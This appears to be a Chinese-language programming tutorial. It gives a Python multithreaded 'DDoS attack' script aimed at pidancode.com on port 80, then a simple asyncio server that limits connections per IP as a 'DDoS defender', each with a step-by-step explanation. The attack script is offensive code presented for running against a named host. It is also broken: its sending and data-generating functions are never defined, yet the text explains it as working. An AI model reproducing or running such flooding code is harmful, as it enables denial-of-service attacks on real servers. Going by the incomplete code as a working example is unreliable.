直接上代碼：
import threading
import random
class DDoSAttackThread(threading.Thread):
"""DDoS攻擊線程"""
def __init__(self, target, port, num_requests):
"""初始化DDoS攻擊線程"""
super().__init__()
self.target = target
self.port = port
self.num_requests = num_requests
def run(self):
"""執行DDoS攻擊"""
ip = "127.0.0.1"
for _ in range(self.num_requests):
data = generate_random_data(1024)
send_data_to_server(self.target, self.port, data, ip)
class DDoSAttackManager:
"""DDoS攻擊管理器"""
def __init__(self):
"""初始化DDoS攻擊管理器"""
self.threads = []
def add_thread(self, target, port, num_requests):
"""添加DDoS攻擊線程"""
thread = DDoSAttackThread(target, port, num_requests)
self.threads.append(thread)
def start_attack(self):
"""啟動DDoS攻擊"""
for thread in self.threads:
thread.start()
if __name__ == "__main__":
manager = DDoSAttackManager()
for _ in range(4):
manager.add_thread("pidancode.com", 80, 100)
manager.start_attack()
代碼定義了兩個類：DDoSAttackThread 和 DDoSAttackManager。
DDoSAttackThread 是一個繼承自 threading.Thread 的類，用於表示一個 DDoS 攻擊線程。在初始化方法 init 中，我們傳入目標 IP 地址 target、端口 port 和請求數量 num_requests，並將其保存在實例變量中。在 run 方法中，我們使用一個循環來執行 DDoS 攻擊。在每次循環中，我們生成隨機數據 data，並通過 send_data_to_server 函數將數據發送到目標服務器。
DDoSAttackManager 是一個用於管理 DDoS 攻擊線程的類。在初始化方法 init 中，我們創建了一個空列表 threads 來保存 DDoS 攻擊線程。在 add_thread 方法中，我們創建了一個 DDoSAttackThread 實例，並將其添加到 threads 列表中。在 start_attack 方法中，我們遍歷 threads 列表，逐個啟動 DDoS 攻擊線程。
在主程序中，我們創建了一個 DDoSAttackManager 的實例 manager。然後，我們使用一個循環來添加 4 個 DDoS 攻擊線程到 manager 中，每個線程攻擊目標 IP 地址為 "pidancode.com"，端口為 80，請求數量為 100。最後，我們調用 manager 的 start_attack 方法，啟動 DDoS 攻擊。
import asyncio
class DDoSDefender:
"""DDoS防禦器"""
def __init__(self, max_conn=100):
"""初始化DDoS防禦器"""
self.max_conn = max_conn
self.conn_counts = {}
async def handle_connection(self, reader, writer):
"""處理連接請求"""
addr = writer.get_extra_info('peername')
ip = addr[0]
if ip not in self.conn_counts:
self.conn_counts[ip] = 0
if self.conn_counts[ip] >= self.max_conn:
writer.close()
print(f"IP地址{ip}的連接數已達到上限，拒絕連接")
else:
self.conn_counts[ip] += 1
writer.write(b"Welcome to pidancode.com!")
await writer.drain()
data = await reader.read(1024)
print(f"Received {len(data)} bytes of data from {ip}")
writer.close()
self.conn_counts[ip] -= 1
async def run(self):
"""啟動DDoS防禦器"""
server = await asyncio.start_server(
self.handle_connection, '0.0.0.0', 80)
addr = server.sockets[0].getsockname()
print(f'Serving on {addr}')
async with server:
await server.serve_forever()
if __name__ == "__main__":
defender = DDoSDefender()
asyncio.run(defender.run())
使用了 Python 的 asyncio 庫來實現異步 IO 操作。
首先，我們定義了一個名為 DDoSDefender 的類，用於封裝 DDoS 防禦器的功能。在類的初始化方法 init 中，我們可以傳入一個 max_conn 參數，用於設置最大連接數。同時，我們創建了一個字典 conn_counts 來記錄每個 IP 地址的連接數。
接下來，我們定義了一個名為 handle_connection 的異步方法，用於處理連接請求。它接收兩個參數：reader 和 writer，分別表示用於讀取數據和寫入數據的對象。
在方法中，我們首先通過 writer.get_extra_info (‘peername’) 獲取客戶端的 IP 地址。然後，我們檢查該 IP 地址在 conn_counts 字典中是否存在，如果不存在，則將其初始化為 0。
接下來，我們檢查該 IP 地址的連接數是否已經達到了最大連接數。如果是，則關閉連接並打印提示信息；如果不是，則將該 IP 地址的連接數加 1，並向客戶端發送歡迎消息。
然後，我們使用 await writer.drain () 確保寫入操作完成。接著，我們使用 await reader.read (1024) 從客戶端讀取數據，並打印接收到的數據的字節數。
最後，我們關閉連接，並將該 IP 地址的連接數減 1。
接下來，我們定義了一個名為 run 的異步方法，用於啟動 DDoS 防禦器。在方法中，我們使用 asyncio.start_server 方法創建一個服務器對象，指定了監聽的 IP 地址和端口。
然後，我們通過 server.sockets [0].getsockname () 獲取服務器的地址信息，並打印出來。
接著，我們使用 async with server 來管理服務器的生命周期，並通過調用 server.serve_forever () 方法來啟動服務器，使其一直運行。
最後，在主程序中，我們創建了一個 DDoSDefender 的實例 defender，並通過 asyncio.run 方法來運行 defender 的 run 方法，從而啟動 DDoS 防禦器。